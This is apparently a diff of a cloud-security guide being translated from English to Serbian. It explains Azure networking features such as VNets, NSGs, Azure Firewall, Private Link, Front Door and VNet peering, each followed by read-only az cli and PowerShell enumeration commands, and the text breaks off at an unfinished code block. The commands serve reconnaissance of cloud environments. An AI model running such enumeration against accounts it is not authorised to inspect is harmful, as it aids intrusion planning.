By default all subnets within the same Azure Virtual Network (VNet) **can communicate with each other** without any restrictions.
|
||||
**Podmreže** su pododeli unutar VNet-a, definisane specifičnim **opsegom IP adresa**. Segmentacijom VNet-a u više podmreža, možete organizovati i osigurati resurse prema vašoj mrežnoj arhitekturi.\
|
||||
Po defaultu, sve podmreže unutar iste Azure Virtuelne Mreže (VNet) **mogu komunicirati jedna sa drugom** bez ikakvih ograničenja.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
- `MyVNet` with an IP address range of 10.0.0.0/16.
|
||||
- **Subnet-1:** 10.0.0.0/24 for web servers.
|
||||
- **Subnet-2:** 10.0.1.0/24 for database servers.
|
||||
- `MyVNet` sa opsegom IP adresa 10.0.0.0/16.
|
||||
- **Podmreža-1:** 10.0.0.0/24 za web servere.
|
||||
- **Podmreža-2:** 10.0.1.0/24 za servere baza podataka.
|
||||
|
||||
### Enumeration
|
||||
### Enumeracija
|
||||
|
||||
To list all the VNets and subnets in an Azure account, you can use the Azure Command-Line Interface (CLI). Here are the steps:
|
||||
Da biste naveli sve VNets i podmreže u Azure nalogu, možete koristiti Azure Command-Line Interface (CLI). Evo koraka:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VNets
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
|
||||
@@ -34,10 +33,8 @@ az network vnet list --query "[].{name:name, location:location, addressSpace:add
|
||||
# List subnets of a VNet
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VNets
|
||||
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
||||
@@ -47,26 +44,24 @@ Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName> |
|
||||
Select-Object -ExpandProperty Subnets |
|
||||
Select-Object Name, AddressPrefix
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Network Security Groups (NSG)
|
||||
## Grupa za bezbednost mreže (NSG)
|
||||
|
||||
A **Network Security Group (NSG)** filters network traffic both to and from Azure resources within an Azure Virtual Network (VNet). It houses a set of **security rules** that can indicate **which ports to open for inbound and outbound traffic** by source port, source IP, port destination and it's possible to assign a priority (the lower the priority number, the higher the priority).
|
||||
**Grupa za bezbednost mreže (NSG)** filtrira mrežni saobraćaj kako prema tako i od Azure resursa unutar Azure Virtuelne Mreže (VNet). Sadrži skup **pravila bezbednosti** koja mogu da odrede **koje portove otvoriti za dolazni i odlazni saobraćaj** prema izvoru porta, izvornoj IP adresi, odredišnom portu i moguće je dodeliti prioritet (manji broj prioriteta, veći prioritet).
|
||||
|
||||
NSGs can be associated to **subnets and NICs.**
|
||||
NSG-ovi se mogu povezati sa **podmrežama i NIC-ovima.**
|
||||
|
||||
**Rules example:**
|
||||
**Primer pravila:**
|
||||
|
||||
- An inbound rule allowing HTTP traffic (port 80) from any source to your web servers.
|
||||
- An outbound rule allowing only SQL traffic (port 1433) to a specific destination IP address range.
|
||||
- Pravilo za dolazni saobraćaj koje dozvoljava HTTP saobraćaj (port 80) iz bilo kog izvora ka vašim web serverima.
|
||||
- Pravilo za odlazni saobraćaj koje dozvoljava samo SQL saobraćaj (port 1433) ka određenom opsegu IP adresa.
|
||||
|
||||
### Enumeration
|
||||
### Enumeracija
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List NSGs
|
||||
az network nsg list --query "[].{name:name, location:location}" -o table
|
||||
@@ -78,10 +73,8 @@ az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupNam
|
||||
# Get NICs and subnets using this NSG
|
||||
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List NSGs
|
||||
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
||||
@@ -93,31 +86,29 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
# Get NICs and subnets using this NSG
|
||||
(Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall is a **managed network security service** in Azure that protects cloud resources by inspecting and controlling traffic. It is a **stateful firewall** that filters traffic based on rules for Layers 3 to 7, supporting communication both **within Azure** (east-west traffic) and **to/from external networks** (north-south traffic). Deployed at the **Virtual Network (VNet) level**, it provides centralized protection for all subnets in the VNet. Azure Firewall automatically scales to handle traffic demands and ensures high availability without requiring manual setup.
|
||||
Azure Firewall je **upravljana mrežna sigurnosna usluga** u Azure-u koja štiti cloud resurse inspekcijom i kontrolom saobraćaja. To je **stanje svesti vatrozid** koji filtrira saobraćaj na osnovu pravila za slojeve 3 do 7, podržavajući komunikaciju kako **unutar Azure-a** (isto-zapadni saobraćaj) tako i **ka/od spoljašnjih mreža** (sever-jug saobraćaj). Postavljen na **nivou Virtuelne Mreže (VNet)**, pruža centralizovanu zaštitu za sve podmreže u VNet-u. Azure Firewall automatski skalira kako bi zadovoljio zahteve saobraćaja i osigurava visoku dostupnost bez potrebe za ručnom konfiguracijom.
|
||||
|
||||
It is available in three SKUs—**Basic**, **Standard**, and **Premium**, each tailored for specific customer needs:
|
||||
Dostupan je u tri SKU-a—**Osnovni**, **Standardni** i **Premium**, svaki prilagođen specifičnim potrebama kupaca:
|
||||
|
||||
| **Recommended Use Case** | Small/Medium Businesses (SMBs) with limited needs | General enterprise use, Layer 3–7 filtering | Highly sensitive environments (e.g., payment processing) |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Performance** | Up to 250 Mbps throughput | Up to 30 Gbps throughput | Up to 100 Gbps throughput |
|
||||
| **Threat Intelligence** | Alerts only | Alerts and blocking (malicious IPs/domains) | Alerts and blocking (advanced threat intelligence) |
|
||||
| **L3–L7 Filtering** | Basic filtering | Stateful filtering across protocols | Stateful filtering with advanced inspection |
|
||||
| **Advanced Threat Protection** | Not available | Threat intelligence-based filtering | Includes Intrusion Detection and Prevention System (IDPS) |
|
||||
| **TLS Inspection** | Not available | Not available | Supports inbound/outbound TLS termination |
|
||||
| **Availability** | Fixed backend (2 VMs) | Autoscaling | Autoscaling |
|
||||
| **Ease of Management** | Basic controls | Managed via Firewall Manager | Managed via Firewall Manager |
|
||||
| **Preporučeni slučaj upotrebe** | Mala/Srednja preduzeća (SMB) sa ograničenim potrebama | Opšta preduzeća, filtriranje slojeva 3–7 | Veoma osetljiva okruženja (npr. obrada plaćanja) |
|
||||
| ------------------------------- | ----------------------------------------------------- | ---------------------------------------- | ------------------------------------------------- |
|
||||
| **Performanse** | Do 250 Mbps propusnosti | Do 30 Gbps propusnosti | Do 100 Gbps propusnosti |
|
||||
| **Obaveštavanje o pretnjama** | Samo upozorenja | Upozorenja i blokiranje (maliciozni IP-ovi/domeni) | Upozorenja i blokiranje (napredna obaveštajna inteligencija) |
|
||||
| **Filtriranje L3–L7** | Osnovno filtriranje | Filtriranje sa stanjem svesti preko protokola | Filtriranje sa stanjem svesti uz naprednu inspekciju |
|
||||
| **Napredna zaštita od pretnji**| Nije dostupna | Filtriranje zasnovano na obaveštajnoj inteligenciji | Uključuje sistem za otkrivanje i prevenciju upada (IDPS) |
|
||||
| **TLS inspekcija** | Nije dostupna | Nije dostupna | Podržava ulaznu/izlaznu TLS terminaciju |
|
||||
| **Dostupnost** | Fiksni backend (2 VM-a) | Automatsko skaliranje | Automatsko skaliranje |
|
||||
| **Jednostavnost upravljanja** | Osnovne kontrole | Upravljano putem Firewall Manager-a | Upravljano putem Firewall Manager-a |
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Firewalls
|
||||
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
|
||||
@@ -131,10 +122,8 @@ az network firewall application-rule collection list --firewall-name <FirewallNa
|
||||
# Get nat rules of a firewall
|
||||
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Firewalls
|
||||
Get-AzFirewall
|
||||
@@ -148,21 +137,19 @@ Get-AzFirewall
|
||||
# Get nat rules of a firewall
|
||||
(Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).NatRuleCollections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Route Tables
|
||||
## Azure Tabele Rute
|
||||
|
||||
Azure **Route Tables** are used to control the routing of network traffic within a subnet. They define rules that specify how packets should be forwarded, either to Azure resources, the internet, or a specific next hop like a Virtual Appliance or Azure Firewall. You can associate a route table with a **subnet**, and all resources within that subnet will follow the routes in the table.
|
||||
Azure **Tabele Rute** se koriste za kontrolu usmeravanja mrežnog saobraćaja unutar podmreže. One definišu pravila koja specificiraju kako paketi treba da se proslede, bilo ka Azure resursima, internetu, ili specifičnom sledećem skoku kao što su Virtuelni Aparati ili Azure Firewall. Možete povezati tabelu rute sa **podmrežom**, i svi resursi unutar te podmreže će pratiti rute u tabeli.
|
||||
|
||||
**Example:** If a subnet hosts resources that need to route outbound traffic through a Network Virtual Appliance (NVA) for inspection, you can create a **route** in a route table to redirect all traffic (e.g., `0.0.0.0/0`) to the NVA's private IP address as the next hop.
|
||||
**Primer:** Ako podmreža hostuje resurse koji treba da usmere izlazni saobraćaj kroz Mrežni Virtuelni Aparat (NVA) na inspekciju, možete kreirati **rutu** u tabeli rute da preusmerite sav saobraćaj (npr., `0.0.0.0/0`) na privatnu IP adresu NVA kao sledeći skok.
|
||||
|
||||
### **Enumeration**
|
||||
### **Enumeracija**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Route Tables
|
||||
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
@@ -170,10 +157,8 @@ az network route-table list --query "[].{name:name, resourceGroup:resourceGroup,
|
||||
# List routes for a table
|
||||
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Route Tables
|
||||
Get-AzRouteTable
|
||||
@@ -181,28 +166,26 @@ Get-AzRouteTable
|
||||
# List routes for a table
|
||||
(Get-AzRouteTable -Name <RouteTableName> -ResourceGroupName <ResourceGroupName>).Routes
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Private Link
|
||||
|
||||
Azure Private Link is a service in Azure that **enables private access to Azure services** by ensuring that **traffic between your Azure virtual network (VNet) and the service travels entirely within Microsoft's Azure backbone network**. It effectively brings the service into your VNet. This setup enhances security by not exposing the data to the public internet.
|
||||
Azure Private Link je usluga u Azure-u koja **omogućava privatni pristup Azure uslugama** osiguravajući da **saobraćaj između vaše Azure virtuelne mreže (VNet) i usluge putuje potpuno unutar Microsoftove Azure backbone mreže**. Efikasno dovodi uslugu u vašu VNet. Ova postavka poboljšava bezbednost ne izlažući podatke javnom internetu.
|
||||
|
||||
Private Link can be used with various Azure services, like Azure Storage, Azure SQL Database, and custom services shared via Private Link. It provides a secure way to consume services from within your own VNet or even from different Azure subscriptions.
|
||||
Private Link se može koristiti sa raznim Azure uslugama, kao što su Azure Storage, Azure SQL Database i prilagođene usluge deljene putem Private Link-a. Pruža siguran način za korišćenje usluga iz vaše vlastite VNet ili čak iz različitih Azure pretplata.
|
||||
|
||||
> [!CAUTION]
|
||||
> NSGs do not apply to private endpoints, which clearly means that associating an NSG with a subnet that contains the Private Link will have no effect.
|
||||
> NSG-ovi se ne primenjuju na privatne krajnje tačke, što jasno znači da povezivanje NSG-a sa podmrežom koja sadrži Private Link neće imati efekta.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
Consider a scenario where you have an **Azure SQL Database that you want to access securely from your VNet**. Normally, this might involve traversing the public internet. With Private Link, you can create a **private endpoint in your VNet** that connects directly to the Azure SQL Database service. This endpoint makes the database appear as though it's part of your own VNet, accessible via a private IP address, thus ensuring secure and private access.
|
||||
Razmotrite scenario u kojem imate **Azure SQL Database koju želite da pristupite sigurno iz vaše VNet**. Obično bi to moglo uključivati prolazak kroz javni internet. Sa Private Link-om, možete kreirati **privatnu krajnju tačku u vašoj VNet** koja se direktno povezuje sa Azure SQL Database uslugom. Ova krajnja tačka čini da baza podataka izgleda kao da je deo vaše vlastite VNet, dostupna putem privatne IP adrese, čime se osigurava siguran i privatni pristup.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Private Link Services
|
||||
az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
@@ -210,10 +193,8 @@ az network private-link-service list --query "[].{name:name, location:location,
|
||||
# List Private Endpoints
|
||||
az network private-endpoint list --query "[].{name:name, location:location, resourceGroup:resourceGroup, privateLinkServiceConnections:privateLinkServiceConnections}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Private Link Services
|
||||
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
@@ -221,23 +202,21 @@ Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
# List Private Endpoints
|
||||
Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, PrivateEndpointConnections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Service Endpoints
|
||||
|
||||
Azure Service Endpoints extend your virtual network private address space and the identity of your VNet to Azure services over a direct connection. By enabling service endpoints, **resources in your VNet can securely connect to Azure services**, like Azure Storage and Azure SQL Database, using Azure's backbone network. This ensures that the **traffic from the VNet to the Azure service stays within the Azure network**, providing a more secure and reliable path.
|
||||
Azure Service Endpoints proširuju privatni adresni prostor vaše virtuelne mreže i identitet vašeg VNet-a na Azure usluge preko direktne veze. Omogućavanjem servisnih krajnjih tačaka, **resursi u vašem VNet-u mogu sigurno da se povežu sa Azure uslugama**, kao što su Azure Storage i Azure SQL Database, koristeći Azure-ovu osnovnu mrežu. Ovo osigurava da **saobraćaj iz VNet-a ka Azure usluzi ostaje unutar Azure mreže**, pružajući sigurniji i pouzdaniji put.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
For instance, an **Azure Storage** account by default is accessible over the public internet. By enabling a **service endpoint for Azure Storage within your VNet**, you can ensure that only traffic from your VNet can access the storage account. The storage account firewall can then be configured to accept traffic only from your VNet.
|
||||
Na primer, **Azure Storage** nalog je po defaultu dostupan preko javnog interneta. Omogućavanjem **servisne krajnje tačke za Azure Storage unutar vašeg VNet-a**, možete osigurati da samo saobraćaj iz vašeg VNet-a može pristupiti nalogu za skladištenje. Zatim se vatrozid naloga za skladištenje može konfigurisati da prihvata saobraćaj samo iz vašeg VNet-a.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Virtual Networks with Service Endpoints
|
||||
az network vnet list --query "[].{name:name, location:location, serviceEndpoints:serviceEndpoints}" -o table
|
||||
@@ -245,10 +224,8 @@ az network vnet list --query "[].{name:name, location:location, serviceEndpoints
|
||||
# List Subnets with Service Endpoints
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, serviceEndpoints:serviceEndpoints}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Virtual Networks with Service Endpoints
|
||||
Get-AzVirtualNetwork
|
||||
@@ -256,49 +233,47 @@ Get-AzVirtualNetwork
|
||||
# List Subnets with Service Endpoints
|
||||
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Differences Between Service Endpoints and Private Links
|
||||
### Razlike između Servisnih Krajnih Tačaka i Privatnih Linkova
|
||||
|
||||
Microsoft recommends using Private Links in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
|
||||
Microsoft preporučuje korišćenje Privatnih Linkova u [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
|
||||
|
||||
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Service Endpoints:**
|
||||
**Servisne Krajne Tačke:**
|
||||
|
||||
- Traffic from your VNet to the Azure service travels over the Microsoft Azure backbone network, bypassing the public internet.
|
||||
- The endpoint is a direct connection to the Azure service and does not provide a private IP for the service within the VNet.
|
||||
- The service itself is still accessible via its public endpoint from outside your VNet unless you configure the service firewall to block such traffic.
|
||||
- It's a one-to-one relationship between the subnet and the Azure service.
|
||||
- Less expensive than Private Links.
|
||||
- Saobraćaj iz vašeg VNet-a do Azure servisa putuje preko Microsoft Azure backbone mreže, zaobilazeći javni internet.
|
||||
- Krajna tačka je direktna veza sa Azure servisom i ne obezbeđuje privatnu IP adresu za servis unutar VNet-a.
|
||||
- Sam servis je i dalje dostupan putem svoje javne krajnej tačke sa spoljašnje strane vašeg VNet-a, osim ako ne konfigurišete vatrozid servisa da blokira takav saobraćaj.
|
||||
- To je odnos jedan na jedan između podmreže i Azure servisa.
|
||||
- Jeftinije je od Privatnih Linkova.
|
||||
|
||||
**Private Links:**
|
||||
**Privatni Linkovi:**
|
||||
|
||||
- Private Link maps Azure services into your VNet via a private endpoint, which is a network interface with a private IP address within your VNet.
|
||||
- The Azure service is accessed using this private IP address, making it appear as if it's part of your network.
|
||||
- Services connected via Private Link can be accessed only from your VNet or connected networks; there's no public internet access to the service.
|
||||
- It enables a secure connection to Azure services or your own services hosted in Azure, as well as a connection to services shared by others.
|
||||
- It provides more granular access control via a private endpoint in your VNet, as opposed to broader access control at the subnet level with service endpoints.
|
||||
- Privatni Link mapira Azure servise u vaš VNet putem privatne krajnej tačke, koja je mrežni interfejs sa privatnom IP adresom unutar vašeg VNet-a.
|
||||
- Azure servis se pristupa koristeći ovu privatnu IP adresu, čineći ga delom vaše mreže.
|
||||
- Servisi povezani putem Privatnog Linka mogu se pristupiti samo iz vašeg VNet-a ili povezanih mreža; nema pristupa servisu putem javnog interneta.
|
||||
- Omogućava sigurnu vezu sa Azure servisima ili vašim sopstvenim servisima hostovanim u Azure-u, kao i vezu sa servisima koje dele drugi.
|
||||
- Pruža detaljniju kontrolu pristupa putem privatne krajnej tačke u vašem VNet-u, za razliku od šire kontrole pristupa na nivou podmreže sa servisnim krajnih tačkama.
|
||||
|
||||
In summary, while both Service Endpoints and Private Links provide secure connectivity to Azure services, **Private Links offer a higher level of isolation and security by ensuring that services are accessed privately without exposing them to the public internet**. Service Endpoints, on the other hand, are easier to set up for general cases where simple, secure access to Azure services is required without the need for a private IP in the VNet.
|
||||
Ukratko, dok i Servisne Krajne Tačke i Privatni Linkovi pružaju sigurnu povezanost sa Azure servisima, **Privatni Linkovi nude viši nivo izolacije i sigurnosti osiguravajući da se servisi pristupaju privatno bez izlaganja javnom internetu**. Servisne Krajne Tačke, s druge strane, lakše se postavljaju za opšte slučajeve gde je potrebna jednostavna, sigurna povezanost sa Azure servisima bez potrebe za privatnom IP adresom u VNet-u.
|
||||
|
||||
## Azure Front Door (AFD) & AFD WAF
|
||||
|
||||
**Azure Front Door** is a scalable and secure entry point for **fast delivery** of your global web applications. It **combines** various services like global **load balancing, site acceleration, SSL offloading, and Web Application Firewall (WAF)** capabilities into a single service. Azure Front Door provides intelligent routing based on the **closest edge location to the user**, ensuring optimal performance and reliability. Additionally, it offers URL-based routing, multiple-site hosting, session affinity, and application layer security.
|
||||
**Azure Front Door** je skalabilna i sigurna ulazna tačka za **brzu isporuku** vaših globalnih web aplikacija. **Kombinuje** različite usluge kao što su globalno **opterećenje balansiranje, ubrzanje sajta, SSL offloading i Web Application Firewall (WAF)** mogućnosti u jednu uslugu. Azure Front Door pruža inteligentno usmeravanje na osnovu **najbliže ivice lokacije korisniku**, osiguravajući optimalne performanse i pouzdanost. Pored toga, nudi usmeravanje zasnovano na URL-u, višesajtno hostovanje, afinitet sesije i sigurnost na aplikacionom nivou.
|
||||
|
||||
**Azure Front Door WAF** is designed to **protect web applications from web-based attacks** without modification to back-end code. It includes custom rules and managed rule sets to protect against threats such as SQL injection, cross-site scripting, and other common attacks.
|
||||
**Azure Front Door WAF** je dizajniran da **štiti web aplikacije od napada zasnovanih na web-u** bez modifikacije pozadinskog koda. Uključuje prilagođena pravila i upravljane skupove pravila za zaštitu od pretnji kao što su SQL injekcija, cross-site scripting i drugih uobičajenih napada.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
Imagine you have a globally distributed application with users all around the world. You can use Azure Front Door to **route user requests to the nearest regional data center** hosting your application, thus reducing latency, improving user experience and **defending it from web attacks with the WAF capabilities**. If a particular region experiences downtime, Azure Front Door can automatically reroute traffic to the next best location, ensuring high availability.
|
||||
Zamislite da imate globalno distribuiranu aplikaciju sa korisnicima širom sveta. Možete koristiti Azure Front Door da **usmerite zahteve korisnika ka najbližem regionalnom data centru** koji hostuje vašu aplikaciju, čime se smanjuje latencija, poboljšava korisničko iskustvo i **brani je od web napada sa WAF mogućnostima**. Ako određena regija doživi prekid rada, Azure Front Door može automatski preusmeriti saobraćaj na sledeću najbolju lokaciju, osiguravajući visoku dostupnost.
|
||||
|
||||
### Enumeration
|
||||
### Enumeracija
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Front Door Instances
|
||||
az network front-door list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
@@ -306,10 +281,8 @@ az network front-door list --query "[].{name:name, resourceGroup:resourceGroup,
|
||||
# List Front Door WAF Policies
|
||||
az network front-door waf-policy list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Front Door Instances
|
||||
Get-AzFrontDoor
|
||||
@@ -317,58 +290,52 @@ Get-AzFrontDoor
|
||||
# List Front Door WAF Policies
|
||||
Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Application Gateway and Azure Application Gateway WAF
|
||||
## Azure Application Gateway i Azure Application Gateway WAF
|
||||
|
||||
Azure Application Gateway is a **web traffic load balancer** that enables you to manage traffic to your **web** applications. It offers **Layer 7 load balancing, SSL termination, and web application firewall (WAF) capabilities** in the Application Delivery Controller (ADC) as a service. Key features include URL-based routing, cookie-based session affinity, and secure sockets layer (SSL) offloading, which are crucial for applications that require complex load-balancing capabilities like global routing and path-based routing.
|
||||
Azure Application Gateway je **balanser opterećenja web saobraćaja** koji vam omogućava da upravljate saobraćajem ka vašim **web** aplikacijama. Pruža **balansiranje opterećenja na Layer 7, SSL terminaciju i mogućnosti vatrozida za web aplikacije (WAF)** u okviru usluge Application Delivery Controller (ADC). Ključne karakteristike uključuju usmeravanje zasnovano na URL-u, afinitet sesije zasnovan na kolačićima i offloading sigurnih soketa (SSL), što je ključno za aplikacije koje zahtevaju složene mogućnosti balansiranja opterećenja kao što su globalno usmeravanje i usmeravanje zasnovano na putanji.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
Consider a scenario where you have an e-commerce website that includes multiple subdomains for different functions, such as user accounts and payment processing. Azure Application Gateway can **route traffic to the appropriate web servers based on the URL path**. For example, traffic to `example.com/accounts` could be directed to the user accounts service, and traffic to `example.com/pay` could be directed to the payment processing service.\
|
||||
And **protect your website from attacks using the WAF capabilities.**
|
||||
Razmotrite scenario u kojem imate e-commerce veb sajt koji uključuje više poddomena za različite funkcije, kao što su korisnički nalozi i obrada plaćanja. Azure Application Gateway može **usmeriti saobraćaj ka odgovarajućim web serverima na osnovu URL putanje**. Na primer, saobraćaj ka `example.com/accounts` mogao bi biti usmeren ka servisu za korisničke naloge, a saobraćaj ka `example.com/pay` mogao bi biti usmeren ka servisu za obradu plaćanja.\
|
||||
I **zaštitite vašu veb stranicu od napada koristeći WAF mogućnosti.**
|
||||
|
||||
### **Enumeration**
|
||||
### **Enumeracija**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
az network application-gateway waf-config list --gateway-name <AppGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, firewallMode:firewallMode, ruleSetType:ruleSetType, ruleSetVersion:ruleSetVersion}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Hub, Spoke & VNet Peering
|
||||
|
||||
**VNet Peering** is a networking feature in Azure that **allows different Virtual Networks (VNets) to be connected directly and seamlessly**. Through VNet peering, resources in one VNet can communicate with resources in another VNet using private IP addresses, **as if they were in the same network**.\
|
||||
**VNet Peering can also used with a on-prem networks** by setting up a site-to-site VPN or Azure ExpressRoute.
|
||||
**VNet Peering** je mrežna funkcija u Azure koja **omogućava različitim Virtuelnim Mrežama (VNets) da budu direktno i neometano povezane**. Kroz VNet peering, resursi u jednoj VNet mogu komunicirati sa resursima u drugoj VNet koristeći privatne IP adrese, **kao da su u istoj mreži**.\
|
||||
**VNet Peering se takođe može koristiti sa lokalnim mrežama** postavljanjem site-to-site VPN-a ili Azure ExpressRoute.
|
||||
|
||||
**Azure Hub and Spoke** is a network topology used in Azure to manage and organize network traffic. **The "hub" is a central point that controls and routes traffic between different "spokes"**. The hub typically contains shared services such as network virtual appliances (NVAs), Azure VPN Gateway, Azure Firewall, or Azure Bastion. The **"spokes" are VNets that host workloads and connect to the hub using VNet peering**, allowing them to leverage the shared services within the hub. This model promotes clean network layout, reducing complexity by centralizing common services that multiple workloads across different VNets can use.
|
||||
**Azure Hub i Spoke** je mrežna topologija koja se koristi u Azure za upravljanje i organizovanje mrežnog saobraćaja. **"Hub" je centralna tačka koja kontroliše i usmerava saobraćaj između različitih "spokes"**. Hub obično sadrži deljene usluge kao što su mrežni virtuelni uređaji (NVAs), Azure VPN Gateway, Azure Firewall ili Azure Bastion. **"Spokes" su VNets koje hostuju radne opterećenja i povezuju se sa hub-om koristeći VNet peering**, omogućavajući im da koriste deljene usluge unutar huba. Ovaj model promoviše čist raspored mreže, smanjujući složenost centralizovanjem zajedničkih usluga koje više radnih opterećenja iz različitih VNets mogu koristiti.
|
||||
|
||||
> [!CAUTION] > **VNET pairing is non-transitive in Azure**, which means that if spoke 1 is connected to spoke 2 and spoke 2 is connected to spoke 3 then spoke 1 cannot talk directly to spoke 3.
|
||||
> [!CAUTION] > **VNET povezivanje nije tranzitivno u Azure**, što znači da ako je spoke 1 povezan sa spoke 2, a spoke 2 je povezan sa spoke 3, tada spoke 1 ne može direktno komunicirati sa spoke 3.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
Imagine a company with separate departments like Sales, HR, and Development, **each with its own VNet (the spokes)**. These VNets **require access to shared resources** like a central database, a firewall, and an internet gateway, which are all located in **another VNet (the hub)**. By using the Hub and Spoke model, each department can **securely connect to the shared resources through the hub VNet without exposing those resources to the public internet** or creating a complex network structure with numerous connections.
|
||||
Zamislite kompaniju sa odvojenim odeljenjima kao što su Prodaja, Ljudski resursi i Razvoj, **svako sa svojom VNet (spokes)**. Ove VNets **zahtevaju pristup deljenim resursima** kao što su centralna baza podataka, vatrozid i internet prolaz, koji se svi nalaze u **drugoj VNet (hub)**. Korišćenjem modela Hub i Spoke, svako odeljenje može **sigurno da se poveže sa deljenim resursima kroz hub VNet bez izlaganja tih resursa javnom internetu** ili stvaranja složene mrežne strukture sa brojnim vezama.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all VNets in your subscription
|
||||
